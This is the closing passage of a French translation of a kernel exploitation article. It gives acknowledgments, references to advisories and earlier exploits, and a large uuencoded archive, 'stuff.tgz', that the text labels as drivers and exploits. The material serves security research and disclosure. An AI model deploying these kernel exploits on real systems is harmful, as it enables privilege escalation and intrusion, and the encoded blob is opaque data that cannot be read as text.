remerciements, par ordre aléatoire, à : sgrakkyu: darklady(:*), HTB, risk (Arxlab), recidjvo (pour les trucs de netfilter), vecna (pour être vecna:)). twiz: lmbdwr, ga, sd, karl, cmn, christer, koba, smaster, les gens de #dnerds & #elfdev pour leurs discussions, corrections et commentaires et juste pour les conversations tard dans la soirée/nuit. Un dernier clin d'oeil à akira, sanka, metal_militia et yhly pour avoir rendu l'événement du lundi un événement _génial_ [et pour toutes les bières offertes :-) ]. twiz & sgrakkyu : darkangel et tous les gens d'antifork/s0ftpj. C'est toujours un grand plaisir de travailler avec vous. ------[ 5 - Références [1] - Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm [2] - SPARC V9 Architecture http://www.sparc.com/standards/SPARCV9.pdf [3] - AMD64 Reference Manuals http://www.amd.com/it-it/Processors/ ProductInformation/0,,30_118_4699_875^7044,00.html [4] - MCAST_MSFILTER iSEC's advisory http://www.isec.pl/vulnerabilities/isec-0015-msfilter.txt [5] - sendmsg local buffer overflow http://www.securityfocus.com/bid/14785 [6] - kad, "Handling Interrupt Descriptor Table for fun and profit" http://www.phrack.org/archives/59/p59-0x04.txt [7] - iSEC Security Research http://www.isec.pl [8] - Jeff Bonwick, "The Slab Allocator: An Object-Caching Kernel Memory Allocator" http://www.usenix.org/publications/library/proceedings/ bos94/bonwick.html [9] - Daniel P. Bovet & Marco Cesati "Understanding the Linux Kernel", 3rd Edition [ISBN 0-596-00565-2] [10] - Richard McDougall and Jim Mauro "Solaris Internals" , 2nd Edition [ISBN 0-13-148209-2] [11] - Mel Gorman, "Linux VM Documentation" http://www.skynet.ie/~mel/projects/vm/ [12] - sd, krad exploit for sys_epoll vulnerability http://www.securiteam.com/exploits/5VP0N0UF5U.html [13] - noir, "Smashing The Kernel Stack For Fun And Profit" [VO] http://www.phrack.org/archives/60/p60-0x06.txt [VF] http://www.arsouyes.org/info/phrack60/phrack60_0x06.txt [14] - UltraSPARC User's Manuals http://www.sun.com/processors/documentation.html [15] - pr1, "Exploiting SPARC Buffer Overflow vulnerabilities" http://www.emsi.it.pl/sploits/solaris/sparcoverflow.html [16] - horizon, Defeating Solaris/SPARC Non-Executable Stack Protection http://www.emsi.it.pl/sploits/solaris/horizon.html [17] - Gavin Maltby's Sun Weblog, "SPARC System Calls" http://blogs.sun.com/gavinm/entry/sparc_system_calls [18] - PaX project http://pax.grsecurity.net [19] - Solar Designer, "Getting around non-executable stack (and fix)" http://insecure.org/sploits/linux.libc.return.lpr.sploit.html [20] - Sebastian Krahmer, "x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique" http://www.suse.de/~krahmer/no-nx.pdf [21] - Laurent BUTTI, Jerome RAZNIEWSKI & Julien TINNES "Madwifi SIOCGIWSCAN buffer overflow" http://lists.grok.org.uk/pipermail/full-disclosure/2006-December /051176.html [22] - sgrakkyu, "madwifi linux remote kernel exploit" http://www.milw0rm.com/exploits/3389 [23] - sd & devik, "Linux on-the-fly kernel patching without LKM" http://www.phrack.org/archives/58/p58-0x07 [24] - Joel Eriksson, Karl Janmar & Christer Oberg, "Kernel Wars" https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar /Whitepaper/bh-eu-07-eriksson-WP.pdf ------[ 6 - Sources - drivers and exploits [stuff.tgz] begin 644 stuff.tgz M'XL(`!J,'T8``^P\^W/;-M+Y59KI_X!1&X>2Y8B49-FQZLRHL=SXXM?XD;87 M9S@4"=H\4Z1*4H[<-/>WW^X")$&*=I*>D]XW7]C:)@'LXK$/["X6B9.YZW8> M?=%'AV=C?1W_&AOK.GT;_3[]E<\C0Q_HW6Y77Q]T'^E&M[?>?\36O^RPQ#./ M$RMB[%'RSOOC_G8\BN^I3R>2_OT_\L1$?[Z8^5^."3Z'_EV]!_3O]8QO]/\J MCT+_.+)L/HTOG]H/W`>NQT#0NX+^QL#(Z&]L##8,H/]Z3S<>L:^RB/_/Z=]I ML>_JK,5RXK,U%O/`@7-]%7I+P@+EAQ*S` M81'WN15SAX4!.[Z"$5ZWH;MXSMF@_U2`T.\._/ZN_KT7V/[S'.'&\\.G5 M\T*9=QE8?JEP'GC0MMPR<7QOLE08P6B76WI!4BZ\C3O)[8S'%>7`:^7FKATD MY6%AT^G4"LK%]A5?&BQB#>UK+O!"E<-=+^#L>/3SV#S=^^>8Z0L0,#VO.3@8 M'9NCG9T3IFDWH>>TFOJB*]FV66IV>+Z_KS33EYM1/X?G!\SH;A;[/WOQTGQQ MM#/6)D##=NBZ,4_:-Y8_YTUV`6033TO3YK"(O:Z9L%93T^PK*VHU$82M,@'4 M;+)MEK5J:@*'VIEK)99O\B@*0FW1OFVR]VP&7V&D+9I#X%0OT6[AY0/"`"7G M=L)L8/`K)V*M2],*;,_WK>AVB/4@$9=^.+%\%L-0@/FH.Y:$++X-;&#FB%M. M3#R*,@/<]UW])O2MQ`.N1P)[-H.A$A*36FPS?:B.]GQOQSS:W3T=GS$C+ST] M&[UXA>5IW>!97HGKJ-:Q9^N($1>+79-,F:#))V_>LFTL;UPL)OQBP3X.L/^J+'-]N/>>P1@L'ZQ:(/"#8G`-R_6'374T0J0@7! MX\MX"UBD_3BR%HQ0](R+A?VLJM_R&!:PFHB"VXLV_F),,]8)QR;@<)]!]S9T M:=PU%\1A3V=R'D;7)BR$8`/&;MB?,HA_<7KMZ[KEZBC=\\F@/_&255B9S>=B M-+`81N5*WK&J&JY&$T;CB-'T8"IN]U,0R.D@/7+P#20"_Z3)!#R=#-\L34;/ M)[..R]F_#Z$R&7W1_Q+SV7B@^2"[.9\TEHS=G$4^ELUGG[D'@*"R; MGS0?L1SW,1M)'XBO?>^@$)GE./@*K-\G\2-PUP50XU/&`KN)F(\4&9R%\VDB MD\_"MHNS,/IB%KHK!->]=UD06?S.FEW&3%OO9].W-^`O*A_\@67H3NY00+^+ MZ78)%C@;H6Z_98K[L&2\W:K-<#@XC>[9CV(Z43/5V]KOK34)9=Z40^ M[?)@W<;P$[@HXLGOC$PQW!$]AW%O9CJA2?LO%@#&][CQT[;5LJ++FP7N6.Q] MHS/Q@DY\U6@SM#@^#+'5#"RNQ-4:<\_9?NQ`,T+B86M?< MO/[7?#HK+"RM>HN@3)@3+"V8D;/4?M,$9Y,!UV;"Z&NSXY.C,_-D/-KYD]Y^ M.=D[&[<9V8B'1X>_'1R=G_Z)7\Z]'9V-ZW]W[=;P#*.!_,*NP9\_5E&ZW M"7YWM+<_WFD*4T\UT1HX*J`6T07_RT9^Q7T?%TX=?6:(MJ4I6SUF\3K^=?SB MLT:?#K[8\^=-`&2(3^W9;1%+6[7,VBSV_N"AJREES;4,7K&6E>GFAB*QOL+Y MU>W+)B0MF'SN@RM9EVW&5A31S80'&0^]Y<041K`)$AJ"RW:K88W6]-Z*WT):A\A@6=( M8$77S7*"O[L"]P*ZQ??W@B%A#IF/(7GT?>I6*4[-VG-T=4P?_.IMMJ[KP[2- M&+S\_(!_/LA)H*LUZ(-#EL2VE@X\*P0X`K+B*4L='ZT1.="X`2Y^8WO4T"+T MVN3RR4428*H+!@`@!Q:8$.4N)AS<*SXLE%ENPB.A;#*'$8P.'L>(=EB)EWZ_ M`<_T[5`0QT=G2K"B"R,W71B[25H&">?&144*9E54T$+H-;<5%DR=W_NTZ.G+ MT+2T&/;"DPLU<1D03^%T6TZ.YRK1_W# M,FO>MC%DWH_I7-;P:W55Y32QC-[;IV*]B]ZX0`V2Z;6RA6E*KLH(Y<0#FT.9[PO=1\!KS\6"Y)]$L[7T M4S`%C7%Y>')HZ*W0UB>T$5Z$L#DC8(\5PF!24,C*Q>51#@&G;E?(# MK!_S)`V?W<`XE1V.Y8-Q0+/!/.;!-8E"8;M"?5OJ76(O]MMBR11-1*T M+L&+.4%S92MD=\YGJ?$-]V4(3RW'$"]3RU=7Y3B_6D<@L[#<&A2UR8V`[6&C M6[#6II879#*PO#L*$18?X(7IPN\J,AV>`^1U2K/5&?LTKX`!J[<*M"C MG$6XAUBHNGBTU02=(1"`D8?3T?+9?8D5^]A:D;EMSLC@KC;P,Y-6]:TK3%ED MN'LM6<%@2WN>H$*OFSN$Y&S8;[IO,UZ*9Z#5$QPBG7?,+"_21KOF^>'>K^#Z M'('G7:QG;MV`BZU]4NKE2,KKIDJ'%5V3_'8H-1^V5XA8N$6%2AM>PT`UHC"LU-[/K_92$OX% M(9"6IR[TS-]]?OGM^>\>]?P??+G(BQ\^#^13\S\V-C`)`/,_P$T=?,O_^!I/ M!?U)=]C7#Y<&7O-#(H"?!][O0(H4".-I MU7`JH#)6`("^@77`9KX+]+($*F$DALLHG,\8\(A#H9DJ#'%IT#%Z^\!.Q='. MR25O`/KO:(WRJ4-P4G"+GGU>06V!VQ?)"\ M:R;#G/-'^WL_'QZ/=E)4O;SJ^'3O1=V+NNQV!"21H'F"& M%R@#/P2M`2X'13^;]5P^TD[3;_P:+DE"^K@.#"[_2)TR92S"*3LZW/^MJ:!Q MF<8R[RPKSD>1C4;D)PEO34&0/M+,7C/RJ@_Y@-#9`HN\S62TL+F"LTG=<*;A M5U/!FIOP]5('V/)I2OXZ=)&G*1V?CDY^/DU3CO1%KZ>S53Q2&AAU"B](%6]. M>6&A:4CPT`FO..!E#?15D"'D$2_[,%QNSX.;6=K^;'QRL'V3&+H.$(V?1J%EH)UD'#;>%Z\U8GI]SR. M.ME+7D3[7*?TB=5IGWC05.@TG55.R=0_/I;;%*:0</J8%RGFULPJ\^ MTMO(FNZ<'QS\1B=L*(,8G,#]JU%70DWUY>VH_*!@?:P-GA7ERD;&K:`OTPZG MM.4&W%2:"!A@RDRGJ)5* M"&2-G:/O39H/SZ80"L/&C((@`HT**T<%F&47JV616\VTXD>ZQ/A&UA]U)Y$7 MQ@JSA,Y6T*3HD451J%G=9EVE#%0Y,3UI[%P1@NFE,1&&T8=,Q%6,/KVMKK+F MDAHC"D`--%_\)!^85X'`>1O)C*4JJ$C7:HUM*F-,GM)NDP58H:W"[\E3N;Q0 M7*G+G=@E/S_@='[YO]]E>=[SPU`O=?,L_'IV:NQ^3+5]GE) MS^RW@^+!/A?S[UASLDNCAHD`?D_^-P2"/_ZRC_&]L;'2_ MR?_7>#H4)6$EFF,0:)\B/6D41S;X7POQE",\V84>&3Z);?(G\#K#(/TII2%W M.C!XQ\&!4*\^*!],_*1$:/UBL?X,_AHB<9AWX=N6J=QJDV^C#+Y2[J$L5([6"/]V)K1+98?C$Y?L=J_\_Q? M"I;EL<##L]'A'FJM6L,*$BOP,,"79JO5)N$\<$S[BMO7;[IOM]]3!@K^`BN1 M+Q)@"9&_67-"TTO0\Q+1V%KM?`\]::J$.@4/*=):,:.5JMEC\/H>ZQ<)N'>4 MW#IM:`I<$\NLAJ8O=G!L1L\D3,PK#1&KN M_"9$&O?*@SB-M;4@G$6AS`"AS\@NQ,\$^%+8S/>"^0)!CD^-[5O]5K^X^.'> M*%K9:X?G,P-K)>`'"+.I`;6/1KA@EI`,.9:L().&F:C M*!AFWE.P$\F5%.Z"P#L,`@#8Y!9`KSE`V'Q&=5>@1WP>;;$$RW6,\DO5@LO" M&6A`(+HC,A1SFH.:Q%2:&Q/:FK*MEKDYE'U#Z3.")T2N8EV):L57820"/(5B M:-ABE`-7*&H*9+1P.3."@K*OA8;+\T4Q*0;%5N0_BG09IF&:(@:P05J:;&6% M"E:-Y:+N*;04N&?S^,H:9I:B*)R&-SZCOMKXQUID(P&N`"51*J7F&A4URP". MPWXP]#($]NI7(/FADH,(>)*U1*9EK4+1+)R5T$&)E;[C?:WT'13-4/VAXBW0 M;5Y#8__6E`T`)*=9!^&1MP>$$$F_WG,24[P2(Z/&-@:@>'UOZE&\+]/A>+\; M8)EI6@EPYF2><-/4M!ELRMQ!18HXZ2JUU)!X702L"].-K"DW*7>T*$&(T111 MWCK9':6GT!@C#=0.6XI+&G1KAT*F8NQJ\X@4?AI-3#MB*_EF5I9+AEG"LF<5 M9$W!M00CTD4EC$:AS56!:)7E6R42H-QUMA5,K2Q M;[BS=7;7X<\[+V+=#:S?4T4*''14/LW"O0D"E(Y.7DR*$(`4"J<'GPB(4QF:1GZ0CO=!'NN;BS7QA\X+U$Z+7W32 MVA5W1XQF;NQ)Z:XD;1&;!%E?O$`=PG!UB?'38\K< M@I)GTI+II;(ICH(D2@Z%(*1,I7=2E^:1,=.5-O(-@DG,GONEU226W,LEKLQ:Q&>5T@^18N",GD=2^63/! M=XK`*G>BF""!TO9^.N#J;S&%&D`,!*:\\CN)D8]RV3*L$!C<:H7-"4O;5D_' MR(-LL_QHK"VX3J1\B'DC1\%BL^=,)COD+9!)D]#3B`#&6V%[2S6IM()F^=:V MF:-UQ>W,I47!L6W)6TS@A'CV1]ER):?OTFV%*GX0>1,Y4'K(J$Y>LF+A>/#5 M^.30W#MZ<;9OCO;WCUZ8F"G29DKWJ1"FZ>A+DQ/\6(GHSEE**Q_XD86^DV6' M)1$C*Y'<&''I&+-PT.855]G>A9%4@RDOXZVPC#E3]\$.IS.PS@@PX.\(,9C+ MGB.*]G;.P!E"!IWPY!T'"X94-GE%>X>O1_M[.T?'BAU.':9J$H')`-]BCQ?I M58'R[D(S;94%K-0(-,<`VBW3;1O6`S9?3804FJM&B;:3.=[FVA;5PX^0%1WB M<259Z^I5#O@H1Q?2U2P[BKB:M"2%">;*Y?[Q[)Z,T^&H.O[3V2M#<"=WY?$* M5?U2%/GO#EU^>Q[@4<__>.`D[^('3/R6S_WQ_^XZ'O:7__V__L:W^/_7>.3Y MG[B*)*A/D?\3/@T3?F?HGR\LBBK][P7P[_JW\3X_#3P_2[P_SA]P&#=/.MZL MNGSN4`5&&MTHG-(A")N&SMS'?SPN__?V1K^:9[^OIV!YH(N:D MQ.TI:I^5'+T>G^SN'_UB'H['F#O;5>K^<7"L.,]XG/E,G#7BF22>/;KN?]K[ MUO6V<63!\Y?ZOGX'M&;B2(HDZV99ML>9XXF5;N\XMM=VNF52%&5S+(D: M4?+E=&>>?>L"@`!)^9).IV?WF(EM"<2E4"@4"H5"57(D@/*7JTN4I(0$"65; M-X\@NB=[;_[:/WP%2K9D%=2TA42%>]/RKA,6P!C@F[X)U-O\RJGEG(F M-9S1G>4T=*?'Y\>BO5DPCT/>[KT_/'=_./O[V1L0JMQ3LF@=P1-TFFVQ.B-" MUKCU@6$UVGY#T##2C('L0T7)\P"`(3^!]7K!&\\NO>T_B/HZWIP&`0U>;(M6 ML[/9Z;6[/1`_>\SX&H+O[&V+C68KE:NIP:*&_G=[YP<_]%U"/#EA M;-RJNM4!N/)(\^'C+H)^&457`B:&.U_`QL`CE2>(3^SU:'9''6KQ561=5)0V M6V4V`P0BVFK@3]%2L3GH_PGUAOSK@SY$_TA%T+-:D#YW5\6T,[5X1LX'N00> M>7?YR!N/P26U<@D$5I##*AH_W.-:!7U9L&GXTW)L-VE-JY!R49;VK$>%4& MW`?^J\#HH*>U)J#=QF,SI^UFIZ@J-)Q+=NQ66\7'-MK*--K*:;2WD=-H;\-J M-!@\V"@2S8"1GFJTK1J%W^(#"/C$#_#XP*6=W$?<1REZ!;@'O;2'N\3I('K< MZU5IG.40Z0KG>#-93(\/9X^X@/M;-,5?A0* M2*3;ML9&BHZ"X6W29!?M.YD>]&E];3,;:%I< M6K&9,9X\59/?DE$O+VO.Q,SBD@:7VC92+( M>_T5NM'K$?^]KP1DK1KTT\E9[S+PR/7G2;`WV.GJ8%#,Y`6$#ABA@T&5>Y#@ M=.-^G'H&3MLM*:ZBB(.K[3#PYP&NYZAR#R:S!0@+2W1E(4IM0S3HL>F;.6?D MLNXQ\,J'<.Z2;J_GGD'+RO^IHY=*]G2J,R$34.Y%D[9+?/2:+$)0UVC`K8J$ MP_Y1S_]1DA>]!C<\J\I_!""2=7H;39#M03!_K9GD:&!/:%]/:*[=5^#.BEC`T?,]Z:<$[&)KCJ1P\F<,&AC8?$V#^F!#%3H_BX='8!T MZ>-%WCM(#&9Z*#=6>6NU.8XQ2CC36YV45*30,&:R;-$,F97OF^DV76)7\=[9 MGX:1NYRB0/U:M[BI6NP8TSG58I,=]-J-YOD(?FJC3=,/=:K1AO3X:K4:##ZW MU2&(:-*+Z\A/(Q>VQ/C97L-F2/7QS%@CV0ULNG#"[+B(ERR7?EI:LY=![S:A M9G0QC@).%C@IU5K`\<(L6^KD^=*V^9Z7\.QFFBA3G:#9/AAK/HD3T^I':MGQ MVSH[T45N]>;HX-*L1P<7G^9KW=AFCV=AKY[U$T!BIR2AY088B%4MX M6LM;*UK>6MURD';S_.B6J1QQS-J9,@OV2@V,H2Q MD$,9&PR*,S,XE0QB;&S:2.AOW2"6YZSJR^A5DP&!1.]U-NYWVYNNGSB.< MVVG9)&=N2]&$1CE=N3W*E%W6/LAS56[6S@NWE*I&:.2>QA#G7HXM[+00ZMQZ MX^7`A'KV.5#CY,GH)TS<5Q@?2B47C?)74%P\>76]"&HM0X&B5M5$$I8BTB": MHW,"70(]8Q56[A(T6'*G`'L^-%L$.NC=NTM8M4]H\LV&M$26G3V)6.8G$M<6 MNO[O2>V)AM#>:_(^SK>DL(&4FOR'BOJZJ$&[62U"AGAYD4E4-7+M;!L\);4C M[B6+9JA;4N5:?GXYV@L"/_2-A3Z7\!Z8+ZT,CTA-F%93SYC'S_/'V_V:%AR M=W&Y>[C/PV*F>A.+*`M*++8;C,6,5*;+S`/).%I9Z3:'U[1-7D.!,Q*5DJ14 MTL>H64NLVE"',']6;Y&,\6*5K2P1T&'1;+28-26%T'023$C11)?VAR@_&.VR^X)>XS)96S+E.:*I6+[#5ZK^;V5=RJFULYB`F?!+,#Y#@`Z/WB!JR6%]-C8^D MF?N0=<^K323A)R#+IO"5P.;CX&$DFC-@N)7?N$&`?D:Q*KF-L2RV,P1(<'3; MW(6M["3U'X7P3C,[HEVH&E[H0%L"?+K3Y@OW#,S*I4NN;JFU"X1P+C$8Z,@T^1(UY33$=D,D%\G%A>2,6M_` MP5MZVNH6K<0^--%G"MY',@KI[%28/*\G=J9)K?SZ0T-6('U]DQM::9OEX_U) M:;)*-@ULL:HMMS#)N+\DKR\E]7QF!>@T#>]<+,3!"10.KN+E!'-X)/>.&(<[[6GVJU_ M8DO(4BJUS"5V,B;"829E'(P69"V''Z"JM,E$VO^0 M;:J>=)-EC,$]1$>P,SBR$PC8##4!.J]/HE`P??>+/Q$&UCMTL+=NBKBTFH2#VP3'M9QT82P?`B2C>$9NAH;OR@R,, ML$3NRD_W?JP"WR5S)?S"Z`)HL0P9\#J.C2^NAMJ"JL-I'7[%9<+&/U2L]7N;)2-MT@O]5C=%T-;-0X9DUCL0RM`HH!QN4@`C3KA MK/8ZO$02VMAQ'/Y^':NZ.QPRB+"ZP?-KOZZD!&(4B0BWY/K^1285&Z! M#755K;-YM(A\"FZ16'K)=W&F'\7F5JO>[/;JK4:CW@2L26B'JWL,.7!`:Z_U M>@[YLG96LDDR[L8@5;@\9M;'LF8`F6GA,($!K\41C68+&O.$&`Y.\+/[_?[I MP=&;PRJ:ENFI"/.V7);DD9Y/284\IXB:D$@CV8""R!@3TRJVP"VN<#/R_/R;/H;]M^_%BW!Q]\7-O\DDNK/2_KO=Z#2[:?OO9O:3_%SWVPJG58#-UB!XD1*O>J;=:8IT_;`CQ[LW>V;G[[NSMP>%Y_U19 M;?_[^802HG@\'A;%)?M^'D4@9MQ@M3MEVX-5B.%9,E;NJ6X.EN@:"OT$#.Z@ M1.##KBJ:C8.ZD!5!]V:P-'G^)5XM&F*M_UR&BP"=2DSOJE"GMW@9BYM+*"Y& MP1AOQ%_1E3[L6R"@Z>TRU?4C5#6`.A!MGMI'H@,0MBE#=]%3**9?Q9>3<.C* MZUVJ9WGO4'BY1O<\TN]!4H0N"57D)EH6Q;=N./.1Q4\H_7)"GW!C1DD1HZ>2^7%>##10+,*-H/0Q!Z+A&#S5X/W1QB8Y]8W3JB[>-B8PO M1BA#Q'.?`L81/)[XEK%1[K<'% MI1ZD"+RVSN3A"%CL0=3ITZ4^@PPN(KR9ZB-^W6BYX#>?^+TBZ6AP'4;+&(34 M:8#SEBH6)>_*8X3CGD5++G2X699C,P;)C%U,Z6`#RQDY4DZH3P\,ALV%^59. MS4:LZ6[FQ3'-0QP[)B?$+2\N$U1!S?]![B'TFA%B/^"5,X!SJE]/PC&;9-!*PIGA3K`>*#@D) MP+T`JP%,E$4X`9K@M8BIAI8<=.X#&WS)).*E[P>T]>=+F4P94`&/]W(08U]P MOXTC@`.W!.P/%K!#QZR>&`:UD>=#Y1)R!.+F,@3JNX'A3N@VNI:#D\,$N5.E MMX#@":Z(PP#J'\?DYAT(`+DBQZ*D:QH3M,2,RW6>@-9ZIBE_&`7Q]"7=\KW" MA9+;@1IAAB#PV>J)PZ9+=%L5PR5Q&4F5\DZ'9F[>0M*W M#W`2#RL!4F$4H-U+M-H.ID07%+]:4X]""`T^;_*Y^\=(K5$<:%AI65YXRBL3 M2"@84RV*XY`NQ$NJH\EC5GH=`EO!I4)"5_+&DRAF90AFE@+/E'@_E)/R11EW M1PL65A06D1[1+P',E)!OX2-9Z@E8(H9"PTQX3AJJP1YP4:[KP<$KM/_IS[W9 M(IIM_^L/T/Q"R"@&0%84R.,7<3$/9D*N;4Q]_+FT_VZO;*RP#>,/CI?ZS`EF M25N3WMOJXI^MAE&RW5"_9,DTI-GG?^,CPZL`T9X`282P3^Y4Q:@>U,NJRZUZ MMUX!.B`R'.#-<'3["S/M#OT,(*H!1\LQ+$[(FHA28WCQ#^25'BQ_BP5''_&& MF(0#RQ,'Z&*R'!-52&DO[][?HYWL4>KE)""P<)?QQ7T9D@'-.OKXBQ`5DXBK)*=2!*\BY8TMY!SP0*$ M8B^-*,Y^6A%Q#<0KE(G3*%9$\55U2Q,+9*S"4NR8?>98?Z@,=X73[.J:3!VH MI==GA8R23[7*C$^.UBMB3[H?D9HT^[$]Q7!5\NA*J=C4$114=8*O9>B M%NQN&U`9$5BPJ@.4]Z?2LS^"EZJ*/0J<>!Q80H9=^3\I7+RLISJ@@FW0X[HS M;_C!QFAR#J&Z6A:U0@X?D'!3WBQ^<@XTN(=E^Q2-XM*X+)NC:IM)VG@<$$II MZP.K+$6:08VD^@Z?AL$MZ2731(".%DBN&KG4AH%9X!^P&_7B!+58`;7L.-C> M:`*KK5%`;ATFTI8/H3)RL\B)#\^..6-E#`VEB MZ$U@@S8%>%`UC<=LJC]KXT![AW0=G@,==(EY"#$P,\$?J;P$\$/R.^5?\*/ MGJU)$?2703$U9\'0]8`+8E?\RS"8[B2.\AP*PCJ2"&)?I4YE-@^NL9'@=F'@ M@I!I0#DU7D*'L?H+[X+.>7XFI%3E[S6)0/V=H$"4%5+>]6@>HU;F0[/;[G4^ M2@?30-L17A(F]XUX%`&<&Z8J<7$[J:L3EAAA%&-0D6^]`KGUKU#8T0K)NSM& MVQS_/+Q8QG/::0_H:$NWV4R=<*M01X!"RIAU^5G[*%[$,APWGAPY=!K3_]O! M.;E8>G_:3WDYHU@O?=':Z'*/86O@HV@1N"B51:.1;'+J3>@XW:'8-Y71;$<> M@&&V#[*:CU6!WMOT5WD$1Y%.\!3E_0EJV0(^0\&C/8K+Y4:#?\"F`L3<\8[` M\Y8!.H(I8<4J&`U"+9.Q`2-9%!`-&-E7!@RV)$KTUSHOJD,E@1EW>=KH@Z52 MD53XY/`)YQI50&NUKL0,9S+"/:J$3?%V^(*LO@F3V@PV-,3(=(ZC(L5DU@\$ MZ5NNCSLEZ\,O27W9>#+J&<#4NLJ-FH6G;7@O:B0K+KZ(Q8LE_$>Z(-#73-2O M$>X-R#_A[@TD&5RV_,E,=I=(P,2%#.(".:=1"4%-:AC)=[-4,!D\&"$`=T5; M_)D'';J:0".V*=Y7X9/#]#B+9DR...>()C,1ED;##ZT--$PQ$T.C718D2V<' MW[T_.VU6Y82S1I5B^H0/''= M$GM?%=KG:P.=%FZ+XJ0(S,BF!K&V*Q)#>3P+OL:#9V)?E3*TXQ12W3)ZA5*W M6%=3H')-$X#[F1,Y#J?.M731BZX,U];$M7;0"PEY97395Z]V*/QM63$Q,O"]^GY!2RUI3^:6D9T18&J+\B%;4H:6L*'HT" M'FC3.EDGUX>[8LT@($'2YSIO:!;HAB]&I1-%4W=G%[!>"#H15E5D9(%4?7A> M2MY$U%.1JD127(6HJV%]FSI2$3>>4EZBZB;P0SHIP*OUS+3)G2_]U-T59>($N0E@_1#6A=HX4'<4BW7(AE5NQ M:+50N:AHK4E=_(@''2\GL.&GO1YM"O_,F\&V\.J3>A6J93V1O&)\A^[C%DKO M9U6-ZAG2%8V7@T$87VH%F)%IO4!F9C:OZ"BWUHXS#L@9'/,N7#NM&'C.6?]_ MNN_>'YX?G!P>]$^==FNSV\NCF0M<1W/V+=!]:0H'TU&3E,/R$<#NL@8,#1E@ M9G<2%SFX3]J1T8\<18+9W:Q3(9.>0JJ^=3*WR.FYE8V0()0-"SY0F6$48^Z: M*^6U"SX&X/U(^'''*%1[O<+<))7#MBMIW'::_$\:Q0#)]Y4&AZ]2Y9PYT9`^ M`5#@'6S9LA+(%>`=G+Q1/HFM5?-I+1OEG@K`,AS^/@U?_%X-4X^=W[+E3)9_ MDYY+X\ROWFXX7+=Y'!HZL7$7'^889[F&2N3W`+5D:2"@=MS@%AK>Z+>\^W?=']\<'A_U MI66B:G95@[10M523(O4`].B-E#I!;2`3/7UWL`_;J5A)WVIQ[?]P<.A^MW?B M=)Q$V7RX]Q?JE%/49Z5%^VVWX\B77>,5AA=T6DE(6K+(.W,+4JI;6KF#F;+*G7=<"H_:E_.` M`^!@A<0"$PTSUTFQ=@E)-VC:A@J6$=-F+FTC5C-)Y,W`1]@\[8G#F[OBD)RD"J9'M^RV$^V#LH*!>K'79QIL$!>O/'8@8[\%9`4 MLRBDLPHA[EF*NIWTJN"H=0!)_G("M%LRA.HJ:3=XB7@#I'_^R]GW[]Q3R^1? M;\AI"J2V7"7<6W$3YN(DK;518ZHN(4AM;?EB9-"J5%>OH%9\FVA(S1*24C7: MOS!M8B-5L\5R&F:3@)"CS7*HAS+FT@_F?CQ+>%#NR%'@J2'W04X+2EE5957Z MR#`XI^?3/:<.F9Q+C^4VTO86"W0O1D8X$1OD&-946*T"&>C]^X!,W+SY(F9C M)90$M1&/78RG9WI]!O#3"\4+*5,`'FGMSLFRKK-HKBF-_':U[)'NV"&*JH9= M&+6.9B0C/KJ5M)$&D.>#40V`I"*5OAAR-7SD0<`29K1L6*L9PVC*B05+2+0S M9<1%.3DRJ'N-7FN%*`NMYD]=9T#!B0T-JBE;!'4/`6B#<5R1&,U#`,QP"AO! MNC('\IZQW0A-TN/=KAKU62P\\_U47IV"H M#P/4%R*:`'-C-*4&;%Z$4Y[)Z7FGY?K?9`98&QYKBY3=_#A/QH?1^8+:/);4 M;9KLEAB@\!8YL#0U[+3"ZB,9.8'ER1,Z\TY4@^. M^M_RPTS7P:ZA,VI`6X-X>,,XP)$O+_)?/AC!4><+%Z5&:I>J8"2&?X.7"8*J M,0MC-G+>7A.5<6C*C+QNE>3;@!+09DRTC;NOE=&6-1R4WK[WT;X^L_ M?/\GGL,^8!)??/F[/_@\$/^YVVPT_J/9V-C<;'=:S6;W/^!EN[WQ?/_G:SS` M:+]!<\V$`G`S'$R'\%GLO=L'SJ*.GRC?-[]-N`>N]TDW?;@(_5Z'W]_DF%U^ MDV=0^4U>B(=O\BPTO\D+_)!N9[I()QK6I^ET:7[Z38[M9SJKC/)L)0-'RP!K M6JH2%C*1F=G;??+F'05EW-\_%2H(FPS/AG'74MEH^Y!D:V2S43L8>J#9ZMGM MG[_YWL7H;13BKOU=102OEDA$8$<0$+E0NTR(H,#@=/=\0O7F_JPC'KS MNQU\#S-"Q@F,`10@/FJ.;"SOIKZ,U!L3C>*<`>K[IJ`B'`IIVD2!$J$2=Z[T M*R:T[P_V563L9I+*,58A7;WK;B4O*0J>\4YL;6"-M.&5)\K`R0>HW\-T](P2 M2!^";=M_H/W8CN;:08]H#G(5N(5>^&2,AMR^V.X[FRV?:J$*T(U?,^WE-!<(Z?6T MTVAXHP;.[N6@VQF$"_2_UGO-T`RRD17NQ6H)L<&>Z!DE6RO\#Z_J#GD9U,7) M&VG&U5UN9]B'''8FZ*4ZTT@ZLY'GL'-59\B5\I?OS^87Z@^YL7L4+)K[%\'%3)NF%[]N]:':X%RJX2L:[%G M7/@3?S:W?")E;`M1XOBT\XWA7`>VF[M2/781+`(Z*2E3COQ-Y:W2+7(6=G;U M3>$3`[9>2418=*XI[][.8JFNY"MVZ`8GN$`S(\I=$XGLHYY,(DI9@(K2:+E8 MS@-9"5K@E#-U('%EZL#$EET'@Y14LHX]8`=!5X%[A6%<+<2RN2&52MYH?V%BL#=_^B@WNK33Z*X!AVTFC6BFO+HIXIHE%D6Q@M&A?\ MIR%7;H9,Z+4@6I6B;#[,_+'_M_Z;)T&O@+=;?EH'M$LLJY:J*9EI`V29H?8RA-RF53EEQ&!H0=,!'YQU\NC!* M#A.,(J+6`=A12>>^/?M%?H`14Y_/#K[[?N]H7W[[X1VQ!SWB6#_ZL\&OUMA2 MD^;@3D,_*#6WN&0\#H)92:)3VIE"52:.4.AWD;?PO!/3R,"#UN97/LJ]!.6? MXP"C/K)L\+I9,N"DVH5F\?//3)#0![W'D#3ZL]I6&9N:VFOQ7L6&ET>YV9C=XP@M"!`<"AVIW<>NGW!]B9 M?MSAP<$K`9(41P`Y'3J2_2Z1\"BV&:DT]TFX$.Z:JP8)JLWO?5ST[/N]T_Z^ MR7A&L>!(GY*5;EU1#Z'DMD!? MB9"]-@SQ""28^NAS<#QFWD>%:Z\9(D[!NA5:EJH*_VAFDRJ-Z".]JKY'1^Q&@AUSDE4HZ%PQL MNV6,;,;B2:K#Y$1)5\:+1WX)$&U;O,K33)P* 